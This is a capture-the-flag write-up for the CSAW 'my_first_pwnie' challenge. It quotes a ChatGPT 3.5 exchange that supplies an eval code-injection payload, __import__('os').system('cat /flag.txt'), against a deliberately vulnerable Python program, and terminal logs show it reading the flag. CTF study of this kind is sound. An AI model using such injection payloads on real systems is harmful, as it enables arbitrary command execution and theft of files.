

my\_first\_pwnie  
ChatGPT 3.5 prompt

given the following python programing, what input would let the user read `/flag.txt` ?

```
try:
    response = eval(input("What's the password? "))
    print(f"You entered `{response}`")
    if response == "password":
        print("Yay! Correct! Congrats!")
        quit()
except:
    pass

print("Nay, that's not it.")
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The provided Python code contains a potential security vulnerability due to the use of the `eval` function. The `eval` function evaluates the user input as a Python expression, and this can lead to code injection if not used carefully.

In the current code, if the user provides the input `"__import__('os').system('cat /flag.txt!')"`, it would execute the specified command (`cat /flag.txt`), leading to the potential disclosure of the contents of the `/flag.txt` file.


Here's an example of how the input might look:

python

 Copy code

```
What's the password? "__import__('os').system('cat /flag.txt!')"
```

However, it's essential to note that using `eval` in this manner is highly insecure and is generally considered bad practice. It allows arbitrary code execution, making the application vulnerable to various attacks. It is recommended to avoid using `eval` and instead validate and sanitize user input in a more secure way.

 Regenerate

```
redca@redcatone-msi:/mnt/e/Users/redca/Downloads/LLM_CTF_Competition_Questions'  
-20231110T001052Z-001/LLM_CTF_Competition_Questions/pwn/my_first_pwnie$ ./my_f  
irst_pwnie  
What's the password? __import__('os').system('cat /flag.txt')  
csawctf{neigh_____}  
  
You entered '0'  
Hay, that's not it.  
redca@redcatone-msi:/mnt/e/Users/redca/Downloads/LLM_CTF_Competition_Questions  
-20231110T001052Z-001/LLM_CTF_Competition_Questions/pwn/my_first_pwnie$
```

```
redca@redcatone-msi:/$ ls  
bin    etc      init     lib64    media  proc /sbin  sys  var  
boot   flag.txt lib      libx32  mnt     root  snap  tmp  
dev     home    lib32    lost+found opt     run   srv   usr  
redca@redcatone-msi:/$ cat flag.txt  
csawctf{neigh_____}  
  
redca@redcatone-msi:/$
```